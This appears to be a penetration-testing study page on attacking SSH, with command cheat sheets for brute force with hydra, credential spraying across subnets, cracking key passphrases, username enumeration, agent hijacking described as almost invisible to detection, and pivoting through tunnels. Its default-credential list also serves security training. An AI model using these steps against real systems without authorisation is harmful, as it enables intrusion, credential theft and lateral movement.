Skip to Content

SSH Port 22

Cheatsheet

nc -nv <IP> 22 nmap -sV -sC -p22 <IP> nmap --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods -p22 <IP> # Confirm which auth methods the server accepts. ssh -v <USER>@<IP> 2>&1 | grep -i "authentications that can continue" # automated audit ssh-audit <IP> # Connect ssh <USER>@<IP> ssh -o PreferredAuthentications=password <USER>@<IP> chmod 600 id_rsa && ssh -i id_rsa <USER>@<IP> ssh -p <PORT> <USER>@<IP> # Crack a key passphrase ssh2john id_rsa > hash.txt && john hash.txt --wordlist=<WORDLIST> # Brute force (low threads to dodge fail2ban) last resort hydra -l <USER> -P <WORDLIST> ssh://<IP> -t 4 hydra -L users.txt -P passwords.txt ssh://<IP> -t 4 # Tunneling local fwd / SOCKS proxy / remote fwd ssh -L <LPORT>:127.0.0.1:<RPORT> <USER>@<IP> ssh -D 9050 <USER>@<IP> ssh -R <LPORT>:127.0.0.1:<RPORT> <USER>@<LHOST>

Methodology

Phase 1: Fingerprint and Accepted Auth Methods

?

Ask yourself

  • What exact OpenSSH (or other) version and OS is the banner advertising?
  • Which authentication methods does the server actually accept password, publickey, keyboard-interactive?
  • If only publickey is accepted, is brute force off the table entirely, forcing me toward key discovery?
  • Does the version map to a known CVE (e.g. CVE-2018-15473 user enum on OpenSSH < 7.7, regreSSHion on 8.5p1–9.7p1)?
  • Are weak ciphers, MACs, or SSHv1 present that change the threat model?
nc -nv <IP> 22 nmap -sV -sC -p22 <IP> # Full algorithm + vulnerability audit ssh-audit <IP> # Which auth methods are accepted? ssh -v <USER>@<IP> 2>&1 | grep -i "authentications that can continue" # Version-to-CVE lookup searchsploit openssh <version>
  • Run nc -nv <IP> 22 and read the banner (for example SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5). The distro suffix shows the OS and patch level. That narrows which CVEs apply.
  • Run nmap -sV -sC -p22 <IP>. Default scripts return host keys, supported algorithms, and accepted auth methods together.
  • Run ssh-audit <IP>. It flags weak ciphers, deprecated MACs, known CVEs, and policy violations. A heavily hardened config signals a mature target. A weak config hints at a neglected host.
  • Run ssh -v <USER>@<IP> 2>&1 | grep -i "authentications that can continue" to confirm accepted methods. If only publickey is offered, brute force is impossible. Pivot to key discovery (Phase 2).
  • Run searchsploit openssh <version> and search OpenSSH <version> exploit. If OpenSSH is older than 7.7, flag CVE-2018-15473 user enumeration for Phase 4.

Phase 2: Leaked Private Keys

?

Ask yourself

  • Did any earlier service (FTP, SMB, NFS, Rsync, web, Git) already hand me a private key?
  • Which username does this key belong to, and how do I find out?
  • Is the key passphrase-protected, and is that passphrase crackable?
  • Are the file permissions correct, or will SSH refuse the key?
  • Has this same key been reused across multiple hosts in the environment?
chmod 600 id_rsa ssh -i id_rsa <USER>@<IP> # Reveal the public key the trailing comment is often user@host ssh-keygen -y -f id_rsa # Crack a passphrase-protected key ssh2john id_rsa > hash.txt john hash.txt --wordlist=<WORDLIST> # Test one key against many hosts/users nxc ssh <IP> -u <USER> -p '' --key-file id_rsa
  • Revisit every prior loot source for id_rsa, *.pem, and *.key. Check FTP, NFS shares, SMB shares, rsync modules, web roots, and exposed .git. Leaked keys are far more common than weak passwords on hardened SSH.
  • Run chmod 600 id_rsa && ssh -i id_rsa <USER>@<IP>. SSH refuses keys with loose permissions. Fix the mode first, or you will blame a good key.
  • Run ssh-keygen -y -f id_rsa to print the public key. The trailing comment is frequently user@host. That comment often reveals the owning username.
  • If the key asks for a passphrase, run ssh2john id_rsa > hash.txt && john hash.txt --wordlist=<WORDLIST>. Admin SSH passphrases tend to follow the same weak patterns as their passwords. Crack first, then prompt.
  • Try the key against every known username. The owner is rarely obvious. Start with root. Keys forgotten on shares are usually admin keys.

Phase 3: Credential Reuse and Defaults

?

Ask yourself

  • Which usernames and passwords have I already recovered from other services?
  • Does this host share an admin account with anything I have already compromised?
  • Are there appliance/IoT defaults worth trying (root:root, admin:admin, pi:raspberry)?
  • Have I tried the lazy username:username pattern for every known user?
  • Which other hosts in the subnet accept the same credential?
nxc ssh <IP> -u <USER> -p <PASS> nxc ssh <IP> -u users.txt -p found_passwords.txt nxc ssh <SUBNET>/24 -u <USER> -p <PASS>
  • Spray credentials harvested from databases, web app configs, FTP files, SNMP process arguments, and mail against SSH. Credential reuse is the most common SSH entry point. A password from one service routinely unlocks SSH.
  • Run nxc ssh <IP> -u <USER> -p <PASS> for fast single-credential validation with parseable output before you commit to a spray.
  • Try appliance defaults: root:root, root:toor, admin:admin, admin:password, pi:raspberry. Network gear and IoT devices still ship with these.
  • If usernames are known but no passwords, try username:username pairs. That is a common lazy-admin pattern.
  • Run nxc ssh <SUBNET>/24 -u <USER> -p <PASS>. One valid credential sprayed across the subnet often reveals many hosts that share the same account. That is immediate lateral movement.

Phase 4: User Enumeration and Brute Force

?

Ask yourself

  • Is the server old enough (OpenSSH < 7.7) for CVE-2018-15473 timing enumeration to validate my user list?
  • Which usernames have I gathered from SMTP VRFY, RID cycling, web apps, SNMP, or LFI /etc/passwd dumps?
  • Is password auth even enabled, or is the server publickey-only (making brute force impossible)?
  • What lockout / fail2ban / MaxStartups controls apply, and what is the OPSEC cost of tripping them?
  • Is a small, targeted password list smarter than rockyou against this account?
# Validate usernames without auth-failure logs (OpenSSH < 7.7 only) python3 ssh_user_enum.py --userList /usr/share/seclists/Usernames/top-usernames-shortlist.txt <IP> # Per-user accepted auth methods (root is often publickey-only) nmap --script ssh-auth-methods --script-args="ssh.user=<USER>" -p22 <IP> # Brute force multi-user spray with parseable output nxc ssh <IP> -u users.txt -p passwords.txt
  • If OpenSSH is older than 7.7, run python3 ssh_user_enum.py --userList <WORDLIST> <IP>. Timing confirms valid usernames without auth-failure logs. This is patched in 7.7 and later. Check the version from Phase 1 first.
  • Run nmap --script ssh-auth-methods --script-args="ssh.user=<USER>" -p22 <IP>. Different users may have different policies. Root is often restricted to publickey. This tells you which accounts you can brute-force. Do not waste attempts on publickey-only users.
  • Cross-reference usernames from SMTP VRFY, RID cycling, web apps, SNMP, and LFI /etc/passwd dumps. A validated list makes any spray far more efficient.
  • Run hydra -l <USER> -P <WORDLIST> ssh://<IP> -t 4. Keep threads at 4 or fewer. fail2ban can trigger on as few as 3–5 failures. SSH refuses connections beyond MaxStartups. Prefer a small targeted list over rockyou.
  • If password auth is disabled (publickey only), brute force is mathematically impossible. Return to Phase 2 key discovery and Phase 3 credential harvesting.
  • If locked out, wait the fail2ban window. Switch source IP, or pivot through another compromised host.

OPSEC: SSH brute force is extremely loud. Every failed attempt hits /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS) and forwards to the SIEM in mature environments. Keep -t 4 or lower, exhaust every other credential source first, and never throw rockyou at an account that might lock out.

Phase 5: Post-Access Orientation and Pivoting

?

Ask yourself

  • Who am I, and what can this account reach that my attack box cannot?
  • Is this host dual-homed does it bridge into a segmented internal network?
  • Which other hosts has this user already authenticated to (known_hosts)?
  • Is an SSH agent loaded that I can hijack to reach further systems without the private key?
  • What credentials, keys, and configs are lying around to spray onward before I escalate?
id; hostname; ip a # SSH artifacts cat ~/.ssh/config ~/.ssh/known_hosts ~/.ssh/authorized_keys 2>/dev/null # Agent hijack check echo $SSH_AUTH_SOCK; ssh-add -l 2>/dev/null # Pivoting reach one internal service / whole subnet ssh -L 8080:10.10.1.5:80 <USER>@<IP> ssh -D 9050 <USER>@<IP> # Spray these creds across the subnet nxc ssh <SUBNET>/24 -u <USER> -p <PASS>
  • SSH gives a stable TTY immediately. Skip shell stabilization. Transfer enumeration tools next.
  • Run id; hostname; ip a to establish identity and check for extra interfaces. Additional NICs mean a dual-homed pivot host. That is a high-value lateral-movement asset.
  • Run ssh -L 8080:10.10.1.5:80 <USER>@<IP> to reach a single internal service. Run ssh -D 9050 <USER>@<IP> with proxychains for full-subnet TCP access. Then run proxychains nmap -sT -Pn <SUBNET>/24.
  • Run echo $SSH_AUTH_SOCK. If it is set, hijack the agent to reach other systems with the user’s forwarded keys. Auth logs then look like normal activity.
  • Read ~/.ssh/known_hosts (confirmed reachable hosts), ~/.ssh/authorized_keys (who else logs in here), and ~/.ssh/config (jump hosts, key paths). Then spray creds with nxc ssh <SUBNET>/24.

For multi-hop pivoting, segmented networks, or anything more complex than a single jump, switch to ligolo-ng. SSH SOCKS works for one-off forwards. It becomes painful with stacked hops and only supports TCP. ligolo-ng gives a real interface that nmap, Metasploit, and proxychains use natively.

Quiz

You have OpenSSH 8.2 exposed. Password auth is enabled. You have 50 usernames from SMTP VRFY but no passwords, and brute force is in scope. What's your first move?

Overview

SSH provides encrypted remote access. It replaces insecure legacy protocols like Telnet and rlogin. It supports password and public-key authentication, full TCP tunneling, and arbitrary subsystem multiplexing. That is why it is both a common admin protocol and a useful pivoting tool on a Linux engagement.

DetailValue
Port22/TCP (default)
ProtocolSSH-2 (current), SSH-1 (deprecated, vulnerable)
EncryptionAES, ChaCha20 (transport), RSA/Ed25519/ECDSA (key exchange)
Config (server)/etc/ssh/sshd_config
Config (client)/etc/ssh/ssh_config, ~/.ssh/config
Auth log/var/log/auth.log (Debian/Ubuntu), /var/log/secure (RHEL/CentOS)

Quick Reference

ssh <USER>@<IP> # Connect to SSH ssh -i id_rsa <USER>@<IP> # Connect with a private key ssh -o PreferredAuthentications=password <USER>@<IP> # Force password authentication nc -nv <IP> 22 # Banner grab to check SSH version ssh -v <USER>@<IP> # Verbose SSH connection for debugging nmap -sV -sC -p22 <IP> # Nmap scan for service and default scripts on port 22 ssh-audit <IP> # Audit SSH server configuration and security nmap --script ssh-auth-methods --script-args="ssh.user=root" -p22 <IP> # Check available authentication methods nxc ssh <IP> -u users.txt -p passwords.txt # Credential spraying with user/password lists ssh -L <LPORT>:127.0.0.1:<RPORT> <USER>@<IP> # Local port forward for individual service access ssh -D 9050 <USER>@<IP> # Dynamic SOCKS proxy for full-subnet pivoting

NetExec (nxc)

NetExec is a fast way to test SSH credentials at scale. It replaces crackmapexec. It supports key files, executes commands, and produces clean parseable output for scripting.

# Authentication testing nxc ssh <IP> -u <USER> -p <PASS> nxc ssh <IP> -u users.txt -p passwords.txt nxc ssh <IP> -u <USER> -p '' --key-file id_rsa # Command execution nxc ssh <IP> -u <USER> -p <PASS> -x "whoami" nxc ssh <IP> -u <USER> -p <PASS> -x "cat /etc/passwd" # Subnet sweep find SSH servers accepting these creds nxc ssh <SUBNET>/24 -u <USER> -p <PASS>

SSH Agent Hijacking

If SSH agent forwarding is enabled on a host you have compromised, you can use the user’s loaded keys. You can reach other systems without touching the private key file.

# Check for an active SSH agent echo $SSH_AUTH_SOCK ls -la /tmp/ssh-*/ # If found, hijack the agent socket export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.XXXXX ssh-add -l # List keys loaded in the agent ssh <USER>@<INTERNAL_HOST> # Use the forwarded key

OPSEC: Agent hijacking requires root or the same UID as the agent owner. This is a post-compromise lateral-movement technique. It lets you authenticate as the user to any system their forwarded keys can reach. Auth-log entries look like the user’s normal SSH activity. Used carefully, this is almost invisible to detection.

SSH Tunneling and Pivoting

Local Port Forwarding

# Forward local 8080 to internal host 10.10.1.5:80 through the SSH server ssh -L 8080:10.10.1.5:80 <USER>@<IP>

Dynamic SOCKS Proxy

Route arbitrary traffic through the SSH host. The SOCKS proxy listens on your local machine and forwards every connection out through the pivot.

# Create the SOCKS proxy ssh -D 9050 <USER>@<IP> # Configure proxychains (/etc/proxychains4.conf): # socks5 127.0.0.1 9050 # Route tools through the proxy proxychains nmap -sT -Pn 10.10.1.0/24 proxychains curl http://10.10.1.5

Remote Port Forwarding

# From the target, forward its local 3306 to your attacker machine on 3306 ssh -R 3306:127.0.0.1:3306 <USER>@<LHOST> # Now connect to localhost:3306 on your attacker box to reach the target's MySQL

For multi-hop pivoting, segmented networks, or anything more complex than a single jump, switch to ligolo-ng. SSH tunneling works for one-off port forwards. It becomes painful with stacked hops. ligolo-ng gives you a real interface that nmap, Metasploit, and proxychains all use natively.

Dangerous Settings (sshd_config)

SettingRisk
PasswordAuthentication yesPassword brute force possible
PermitEmptyPasswords yesEmpty passwords allowed. Access is trivial.
PermitRootLogin yesDirect root login high-value brute force target
Protocol 1SSHv1 deprecated, vulnerable to MITM and key recovery
X11Forwarding yesGUI forwarding abusable for keylogging with agent forwarding
AllowTcpForwarding yesTunneling allowed useful for pivoting post-compromise
PermitTunnel yesLayer 2/3 tunneling full VPN-like access
AuthorizedKeysFileCustom path keys may live in unexpected locations
AllowAgentForwarding yesAgent forwarding enables key hijacking on compromised hosts
DebianBanner yesOS fingerprinting from the banner

Default Credentials

SystemUsernamePassword
Linux defaultrootroot / toor
Ubuntu/Debianroot(disabled by default. Try ubuntu.)
Network devicesadminadmin
IoT / embeddedrootroot / (empty) / device-specific
Raspberry Pipiraspberry
VMware ESXiroot(set during install)
pfSenseadminpfsense

Quiz

You have SSH as a low-privilege user on a dual-homed host. What's the highest-value immediate action?

#PenetrationTesting #Linux #RedTeam #Certification #SSH #Pivoting #CredentialReuse #BruteForce #KeyAttacks

Last updated on